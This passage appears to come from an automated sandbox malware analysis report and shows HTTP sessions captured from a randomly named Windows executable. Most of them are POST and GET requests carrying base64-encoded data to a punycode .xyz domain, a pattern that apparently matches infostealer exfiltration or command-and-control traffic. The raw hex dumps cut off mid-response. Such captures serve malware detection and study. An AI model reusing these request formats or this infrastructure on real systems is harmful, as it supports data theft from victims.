76 67 53 70 62 51 78 38 2b 48 69 58 2b 72 33 2f 75 6b 58 33 79 78 64 61 79 4f 68 59 61 35 54 4b 77 39 43 67 6f 4e 43 35 37 7a 4a 4e 49 6f 69 6e 55 59 6b 6d 72 52 6e 39 62 45 4c 71 64 72 74 48 44 4d 4a 5a 34 39 6c 35 58 4b 42 4d 76 59 39 55 77 62 45 63 57 61 35 4c 36 56 33 71 69 69 6c 65 42 35 2b 38 77 59 6b 30 41 66 62 69 61 44 72 44 44 33 43 6b 4d 65 57 38 37 34 73 66 7a 68 4e 68 59 67 74 6a 6e 4d 65 75 59 74 2f 42 31 4b 50 35 38 47 50 67 73 78 61 37 64 71 31 2f 68 45 68 42 43 4f 34 72 5a 2b 4b 36 46 56 79 56 67 68 4a 36 73 66 32 6f 39 44 6b 78 4c 44 42 58 56 71 59 77 6a 32 63 6b 34 67 4a 4d 52 36 57 73 53 53 53 4b 79 48 65 73 32 5a 59 38 2f 71 34 4e 51 57 32 45 2b 75 49 4e 56 67 37 41 30 6b 4b 66 38 55 79 6e 64 64 69 4a 66 39 2f 47 61 59 57 54 78 37 49 46 61 66 72 67 65 48 6a 44 46 69 58 69 44 30 7a 4d 52 4a 63 32 44 6f 4a 57 2b 42 2b 38 56 70 49 61 79 36 69 77 76 55 4d 43 66 44 62 69 64 36 49 55 48 6d 49 4e 6d 4d 67 74 33 65 36 4e 61 2b 65 33 36 46 68 69 51 75 48 51 69 44 31 39 70 33 62 5a 4f 61 78 2f 2f 46 66 63 59 79 48 4e 6e 61 47 33 76 59 30 41 4d 74 4f 2f 6a 79 43 30 7a 53 48 33 6b 51 70 35 6a 2f 64 5a 52 4a 37 37 30 53 78 66 4c 53 4a 53 4d 51 41 54 41 36 50 70 6d 41 53 33 72 6c 77 45 2b 6c 34 74 65 6b 34 6e 4a 65 42 32 46 31 32 50 48 37 57 42 4e 4e 55 68 53 4e 71 74 63 6f 32 56 78 64 33 35 4e 2b 6d 2b 34 71 6a 32 64 43 48 7a 4e 34 70 50 62 64 61 52 32 49 4d 49 57 58 35 71 75 53 78 61 74 69 6e 52 69 72 6a 75 2b 59 6c 6f 4b 6d 52 50 4f 78 4b 45 6a 44 61 73 65 72 55 72 56 32 64 52 69 59 30 74 2f 36 36 74 62 50 34 5a 6a 5a 58 53 79 30 2f 49 45 34 59 45 68 4e 78 74 52 33 6a 46 56 55 75 61 56 56 4f 75 4f 38 31 68 78 47 66 2b 38 61 37 4b 6e 79 5a 69 5a 31 76 76 4c 74 59 5a 73 2f 50 35 37 37 2b 6a 68 58 6f 79 70 6b 6c 6f 76 47 47 38 4a 71 4c 58 63 63 5a 42 72 49 36 37 70 78 6c 52 67 43 70 75 56 52 75 64 59 4c 54 6e 4f 2b 5a 63 33 78 74 70 4d 46 58 4c 78 32 55 62 79 4f 5a 79 75 38 6a 41 41 67 71 47 79 5a 42 61 49 61 33 49 5a 6b 4b 70 6e 46 58 42 44 76 70 66 4a 44 6c 56 76 6b 45 4f 58 4c 5a 6b 45 65 6e 6c 51 2b 36 39 56 74 42 5a 7a 62 7a 4d 77 31 52 45 65 37 45 7a 58 49 4d 4a 49 38 57 43 50 31 47 61 35 6d 2b 32 56 7a 33 4c 63 44 63 53 39 6e 69 35 32 6b 6a 54 4b Data Ascii: G0Yxd2Q=Q1/lM+s6OY3jeqx/wMiabhIWuRGcLGK7GkhS6DGdjMWlw+9lIIih5QSBOO8GRfQzZEcXSvESvinpRnx3/rucyLrCnIEVeTL0cPmioPJ4lYx8aKlDtdIK9kSvg22Hxfn1jYd9V3hXMuvau5x359V7lWxOv3Nz3DiaquKGZtVZ6J5c+wkiglKItwjwqrI3D7uxKu2g57B4+iDIFFGPm1oba7iyOvMVHihl8WXAnO+QSczMivIKUjnWs1nNCW5g8AoTcUQQURPcwt7T0GF4zVuLAPjW3S1kklu2ZYQLhoQdzQTjTwmeoqRdlelkon9sOODV0dDQDYszX4IgfBm8I1khgpKXmxPCH3Md3H8JH3wPFgh95QQd8n44FI70fbdDZcAoSH1VrVoA2q1I5Na4KWSInJJvhcDQ3SLST7c1UgmrPizOaCkRYKspYAER1F3XRYudPDd4Z+Ng63zoO3zCUJVaDtZs+zCkFELvgSpbQx8+HiX+r3/ukX3yxdayOhYa5TKw9CgoNC57zJNIoinUYkmrRn9bELqdrtHDMJZ49l5XKBMvY9UwbEcWa5L6V3qiileB5+8wYk0AfbiaDrDD3CkMeW874sfzhNhYgtjnMeuYt/B1KP58GPgsxa7dq1/hEhBCO4rZ+K6FVyVghJ6sf2o9DkxLDBXVqYwj2ck4gJMR6WsSSSKyHes2ZY8/q4NQW2E+uINVg7A0kKf8UynddiJf9/GaYWTx7IFafrgeHjDFiXiD0zMRJc2DoJW+B+8VpIay6iwvUMCfDbid6IUHmINmMgt3e6Na+e36FhiQuHQiD19p3bZOax//FfcYyHNnaG3vY0AMtO/jyC0zSH3kQp5j/dZRJ770SxfLSJSMQATA6PpmAS3rlwE+l4tek4nJeB2F12PH7WBNNUhSNqtco2Vxd35N+m+4qj2dCHzN4pPbdaR2IMIWX5quSxatinRirju+YloKmRPOxKEjDaserUrV2dRiY0t/66tbP4ZjZXSy0/IE4YEhNxtR3jFVUuaVVOuO81hxGf+8a7KnyZiZ1vvLtYZs/P577+jhXoypklovGG8JqLXccZBrI67pxlRgCpuVRudYLTnO+Zc3xtpMFXLx2UbyOZyu8jAAgqGyZBaIa3IZkKpnFXBDvpfJDlVvkEOXLZkEenlQ+69VtBZzbzMw1REe7EzXIMJI8WCP1Ga5m+2Vz3LcDcS9ni52kjTK
Nov 10, 2023 09:27:51.133230925 CET	97	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:27:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 293 X-Sorting-Hat-ShopId: 83935199526 Vary: Accept-Encoding X-Frame-Options: DENY X-ShopId: 83935199526 X-ShardId: 293 Content-Language: en-US Set-Cookie: localization=US; path=/; expires=Sun, 10 Nov 2024 08:27:50 GMT; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USMA%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=littlehappiez.com; path=/; expires=Sat, 11 Nov 2023 08:27:51 GMT; SameSite=Lax Set-Cookie: _shopify_y=8e7d96c0-29b1-4ebb-bc12-0695b29b2f51; Expires=Sat, 09-Nov-24 08:27:51 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=5a1d3429-a0f5-43f8-a851-d97cd1a79574; Expires=Fri, 10-Nov-23 08:57:51 GMT; Domain=littlehappiez.com; Path=/; SameSite=Lax Server-Timing: processing;dur=155 X-Shopify-Stage: production Content-Security-Policy: ; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=ed4b21a8-ae7c-4d8 Data Raw: Data Ascii:
Nov 10, 2023 09:27:51.133271933 CET	98	IN	Data Raw: 2d 61 37 34 32 2d 35 34 66 33 63 34 65 36 36 32 63 65 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 Data Ascii: -a742-54f3c4e662ceX-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontrol
Nov 10, 2023 09:27:51.133285046 CET	99	IN	Data Raw: 36 37 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 95 58 5b 6f db 36 14 7e ef af e0 54 0c 68 07 dd 29 5b b6 2a a7 6b d3 76 1b 90 76 c5 3a 60 d8 de 68 89 b6 d8 c8 a2 46 d1 76 d2 a2 ff 7d 87 a4 28 4b 89 d3 ae 09 1a f3 72 ae df b9 f0 b8 f9 0f af 7e bf fc Data Ascii: 679X[o6~Th)[kvv:`hFv}(Kr~Q%w\}4CGPR^<B(QIPQQrr-.$5Hs85dGW*x#irzP@KmMmV]:@B?hEIE>C;"Q%kj'oo}RG\\|/Z]
Nov 10, 2023 09:27:51.133299112 CET	99	IN	Data Raw: 8c 18 81 16 bc 9c 59 a6 d0 8f 63 90 60 e4 5d 4d cc 9a ee fe 71 74 22 7e d0 09 38 4e c5 c7 af 97 2f 5f 63 95 22 e6 4a b7 de 95 13 0f 07 ea b1 f9 c8 19 54 99 9e 6e 9d 8b 3c 50 38 7c 1b 24 70 3d 9d b9 f1 02 5d da 95 bf 9c cf 15 3e f0 e1 c6 00 d3 0c Data Ascii: Yc`]Mqt"~8N/_c"JTn<P8\|$p=]>6BblS?VfAs r^aV$/MYspc1AvrX_E }y=grH6VujfTq.>pZA)"n>9xdvya*\|tVt
Nov 10, 2023 09:27:51.133311033 CET	99	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.10	49745	35.227.246.104	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:32.513824940 CET	257	OUT	POST /udwf/ HTTP/1.1 Host: www.xn--4gq62f8w1alm9b.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.xn--4gq62f8w1alm9b.xyz Referer: http://www.xn--4gq62f8w1alm9b.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 31 51 77 6c 4b 4b 30 51 44 45 6e 68 6b 75 51 46 6f 4b 51 52 56 51 2f 46 6f 48 79 2f 7a 36 4f 38 6b 6c 59 51 68 72 62 57 41 71 59 66 64 73 38 5a 59 42 6c 43 35 6b 64 6e 56 62 70 71 78 73 5a 68 4c 63 4f 4a 44 78 78 4f 66 6d 61 50 65 6d 70 4e 61 38 73 44 4d 6e 69 6f 51 72 32 50 39 63 31 44 75 44 42 48 74 6d 52 34 51 42 75 46 62 57 74 64 69 2b 63 42 55 6f 52 4b 51 52 71 52 4d 6f 7a 56 50 30 38 32 56 70 35 58 43 67 49 2f 31 2b 4f 2f 51 68 54 5a 42 73 33 42 73 2b 54 43 42 48 7a 53 61 32 47 69 69 33 6f 4c 46 45 45 42 6b 78 43 6d 72 39 36 63 39 7a 51 4c 4b 68 4e 41 4a 36 44 50 4d 75 5a 46 46 72 49 3d Data Ascii: G0Yxd2Q=1QwlKK0QDEnhkuQFoKQRVQ/FoHy/z6O8klYQhrbWAqYfds8ZYBlC5kdnVbpqxsZhLcOJDxxOfmaPempNa8sDMnioQr2P9c1DuDBHtmR4QBuFbWtdi+cBUoRKQRqRMozVP082Vp5XCgI/1+O/QhTZBs3Bs+TCBHzSa2Gii3oLFEEBkxCmr96c9zQLKhNAJ6DPMuZFFrI=
Nov 10, 2023 09:29:32.805963993 CET	258	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 10 Nov 2023 08:29:32 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.10	49746	35.227.246.104	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:35.185496092 CET	260	OUT	POST /udwf/ HTTP/1.1 Host: www.xn--4gq62f8w1alm9b.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.xn--4gq62f8w1alm9b.xyz Referer: http://www.xn--4gq62f8w1alm9b.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 31 51 77 6c 4b 4b 30 51 44 45 6e 68 6b 75 51 46 6f 4b 51 52 56 51 2f 46 6f 48 79 2f 7a 36 4f 38 6b 6c 59 51 68 72 62 57 41 72 67 66 61 64 63 5a 5a 69 39 43 6f 55 64 6e 57 62 70 76 78 73 5a 47 4c 63 47 4e 44 78 4e 30 66 6c 69 50 65 45 52 4e 63 49 34 44 47 6e 69 6f 66 4c 32 4b 35 63 30 65 75 44 52 62 74 6d 42 34 51 42 75 46 62 51 4a 64 6b 71 49 42 48 34 52 4c 47 42 71 6a 66 34 7a 70 50 30 6b 6d 56 6f 35 74 46 51 6f 2f 31 65 65 2f 64 33 50 5a 43 4d 33 44 74 2b 53 48 42 48 2f 7a 61 32 62 5a 69 30 30 68 46 44 77 42 33 55 6a 6b 30 38 79 77 2b 69 52 52 4c 56 4a 79 4f 74 43 74 49 63 35 37 58 38 64 4b 6f 32 70 48 2f 34 64 32 6d 31 44 71 38 67 48 47 58 78 46 52 76 76 70 77 45 71 73 66 2b 6d 30 76 4e 56 42 58 52 55 59 75 4d 75 76 6f 7a 51 70 51 6c 56 4e 67 6f 75 2b 44 70 69 53 74 44 72 6e 42 6c 44 65 47 66 66 68 37 65 57 43 33 6b 44 33 4a 70 6f 78 58 54 4e 4c 77 78 4a 32 51 2f 66 75 4f 53 37 76 48 47 6e 5a 5a 61 35 6d 62 6f 31 63 32 4b 6a 34 4d 38 46 54 30 43 2f 74 79 34 6e 4c 57 2b 2f 55 74 65 2f 2f 71 57 63 51 68 6a 4b 62 41 53 4a 53 7a 74 5a 50 51 79 38 6b 57 62 37 34 46 6a 76 2b 41 41 41 74 6b 78 36 33 72 4b 68 4f 73 2b 4a 4d 38 2b 30 74 45 37 73 67 69 53 57 67 44 49 73 52 55 78 31 2f 63 51 7a 58 42 78 4f 31 4d 33 51 68 70 48 7a 51 71 69 69 52 4e 46 69 50 2f 62 72 6f 56 75 41 69 76 32 37 31 50 51 37 2f 72 55 43 6e 2f 58 6c 57 35 61 79 4d 65 77 68 72 6f 4f 38 5a 46 49 7a 69 32 4f 71 69 4b 55 52 2b 65 51 7a 35 49 34 35 54 4f 57 55 77 38 49 67 48 79 50 4e 75 7a 30 38 4f 48 68 36 75 54 67 74 33 6b 7a 47 33 33 35 74 4b 54 63 57 4f 4e 47 64 6f 53 6a 48 2b 39 5a 70 63 6f 32 4b 52 49 50 59 38 44 34 2b 2f 49 56 74 49 6b 35 49 75 4b 4e 76 36 66 46 47 34 56 33 47 56 61 73 4c 65 67 2b 6a 6e 56 4d 48 32 61 35 6b 37 33 70 46 36 58 44 72 70 4f 6d 70 5a 47 51 58 65 32 2b 61 38 70 72 58 38 6e 77 6b 34 4b 67 73 71 6a 33 2b 78 55 56 39 43 63 78 31 32 71 42 31 32 61 2b 45 4f 69 59 33 4f 6b 73 51 5a 6d 67 41 66 39 54 6c 78 62 45 4a 59 2f 52 2b 6f 51 46 75 42 79 6e 7a 43 68 74 50 2f 45 70 33 68 69 2b 33 31 72 6e 57 41 68 76 56 59 55 4c 70 78 6f 4c 4a 36 62 36 65 62 45 46 4b 61 38 74 5a 78 49 61 50 35 76 57 4d 75 4f 6c 6a 72 75 4a 41 75 6d 32 55 72 6f 4a 66 33 49 4e 75 73 4b 39 2b 4b 49 6f 56 61 78 43 39 48 4d 36 56 30 52 53 43 77 66 30 74 76 68 39 6e 48 72 4e 59 30 70 6e 59 70 57 49 45 79 39 6f 59 62 38 76 66 65 4e 70 6a 74 73 63 72 52 42 64 73 52 7a 73 6b 6d 74 67 57 36 76 55 48 51 71 6f 39 6d 34 77 2b 69 69 62 75 68 6a 49 52 64 43 2f 51 59 68 49 54 2b 75 74 43 51 6d 7a 73 63 4d 6f 55 2f 49 34 61 67 35 4e 65 66 6b 51 44 48 64 30 31 4d 30 62 38 6a 6b 70 33 4c 73 2b 6b 39 6c 34 44 48 45 78 4a 48 63 4b 4f 32 33 37 50 41 69 38 41 2f 34 4a 73 64 54 43 44 6c 53 4e 62 71 35 6c 5a 5a 64 79 5a 7a 41 68 57 37 4f 61 72 6a 45 35 34 73 6f 7a 39 74 4f 56 76 56 37 47 30 45 79 6b 64 58 73 6d 42 50 46 59 64 6b 41 69 43 48 5a 30 4f 6e 68 4c 41 6b 6a 6c 51 4c 5a 44 44 31 6e 50 50 62 77 77 59 77 52 31 78 44 59 52 78 46 41 52 33 34 57 37 69 55 52 6f 4a 4c 51 50 69 36 6b 6e 49 4b 58 66 37 2b 72 6e 36 45 5a 59 4c 37 58 75 77 71 55 4d 58 64 76 54 50 51 7a 30 63 74 67 5a 6a 70 56 43 63 47 67 74 6d 72 46 64 6d 6a 38 53 64 41 55 33 2b 30 6c 43 70 31 6a 5a 45 31 37 74 50 32 30 4a 61 2b 39 39 41 75 55 43 72 4f 6a 37 33 73 61 44 6e 34 4e 6f 50 42 67 75 47 79 4f 67 65 73 79 36 53 2b 55 65 6d 77 71 70 57 44 4b 75 2f 50 74 39 4a 54 74 79 6f 31 6c 56 57 70 4b 53 35 56 2f 56 6f 41 2f 6b 52 57 71 34 65 34 6f 35 61 6a 42 75 64 74 70 62 6f 4b 78 6a 30 55 6c 4f 47 52 36 4f 6f 59 34 79 39 6f 44 59 53 67 71 46 53 6c 4d 6e 6e 34 73 30 65 61 6d 2f 45 48 41 32 75 58 68 6d 75 44 47 68 62 2f 53 72 6c 73 33 4d 35 78 34 6a 47 6d 73 6b 50 2b 6c Data Ascii: G0Yxd2Q=1QwlKK0QDEnhkuQFoKQRVQ/FoHy/z6O8klYQhrbWArgfadcZZi9CoUdnWbpvxsZGLcGNDxN0fliPeERNcI4DGniofL2K5c0euDRbtmB4QBuFbQJdkqIBH4RLGBqjf4zpP0kmVo5tFQo/1ee/d3PZCM3Dt+SHBH/za2bZi00hFDwB3Ujk08yw+iRRLVJyOtCtIc57X8dKo2pH/4d2m1Dq8gHGXxFRvvpwEqsf+m0vNVBXRUYuMuvozQpQlVNgou+DpiStDrnBlDeGffh7eWC3kD3JpoxXTNLwxJ2Q/fuOS7vHGnZZa5mbo1c2Kj4M8FT0C/ty4nLW+/Ute//qWcQhjKbASJSztZPQy8kWb74Fjv+AAAtkx63rKhOs+JM8+0tE7sgiSWgDIsRUx1/cQzXBxO1M3QhpHzQqiiRNFiP/broVuAiv271PQ7/rUCn/XlW5ayMewhroO8ZFIzi2OqiKUR+eQz5I45TOWUw8IgHyPNuz08OHh6uTgt3kzG335tKTcWONGdoSjH+9Zpco2KRIPY8D4+/IVtIk5IuKNv6fFG4V3GVasLeg+jnVMH2a5k73pF6XDrpOmpZGQXe2+a8prX8nwk4Kgsqj3+xUV9Ccx12qB12a+EOiY3OksQZmgAf9TlxbEJY/R+oQFuBynzChtP/Ep3hi+31rnWAhvVYULpxoLJ6b6ebEFKa8tZxIaP5vWMuOljruJAum2UroJf3INusK9+KIoVaxC9HM6V0RSCwf0tvh9nHrNY0pnYpWIEy9oYb8vfeNpjtscrRBdsRzskmtgW6vUHQqo9m4w+iibuhjIRdC/QYhIT+utCQmzscMoU/I4ag5NefkQDHd01M0b8jkp3Ls+k9l4DHExJHcKO237PAi8A/4JsdTCDlSNbq5lZZdyZzAhW7OarjE54soz9tOVvV7G0EykdXsmBPFYdkAiCHZ0OnhLAkjlQLZDD1nPPbwwYwR1xDYRxFAR34W7iURoJLQPi6knIKXf7+rn6EZYL7XuwqUMXdvTPQz0ctgZjpVCcGgtmrFdmj8SdAU3+0lCp1jZE17tP20Ja+99AuUCrOj73saDn4NoPBguGyOgesy6S+UemwqpWDKu/Pt9JTtyo1lVWpKS5V/VoA/kRWq4e4o5ajBudtpboKxj0UlOGR6OoY4y9oDYSgqFSlMnn4s0eam/EHA2uXhmuDGhb/Srls3M5x4jGmskP+l
Nov 10, 2023 09:29:35.478204966 CET	261	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 10 Nov 2023 08:29:35 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.10	49747	35.227.246.104	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:37.858119965 CET	261	OUT	GET /udwf/?G0Yxd2Q=4SYFJ+EdcnLhstYHjaYhZ0Xyh2Kg3P6YikQFgY7zApk8SZ1uWGpR3AVqWe4c3udQDum1CidNNnqrfkhOX4sOdDO6VZG27ug9uQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.xn--4gq62f8w1alm9b.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:29:38.157619953 CET	263	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 10 Nov 2023 08:29:37 GMT Content-Type: text/html Content-Length: 5208 Last-Modified: Wed, 11 Oct 2023 10:00:52 GMT Vary: Accept-Encoding ETag: "65267254-1458" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 67 6c 6f 62 61 6c 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6c 6f 61 64 22 2c 72 65 6c 3a 22 32 2e 34 32 2e 30 22 2c 73 61 6d 70 6c 65 52 61 74 65 3a 31 2c 70 6c 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6c 6f 62 61 6c 65 72 72 6f 72 50 6c 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 2c 72 65 73 45 72 72 3a 21 30 2c 72 65 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 7d 5d 2c 5b 77 69 6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6c 75 67 69 6e 2c 7b 65 6e 61 62 6c 65 3a 21 30 2c 73 61 6d 70 6c 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6c 6c 28 29 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="true"></script><script>window.wpkReporter&&(window.wpk=new 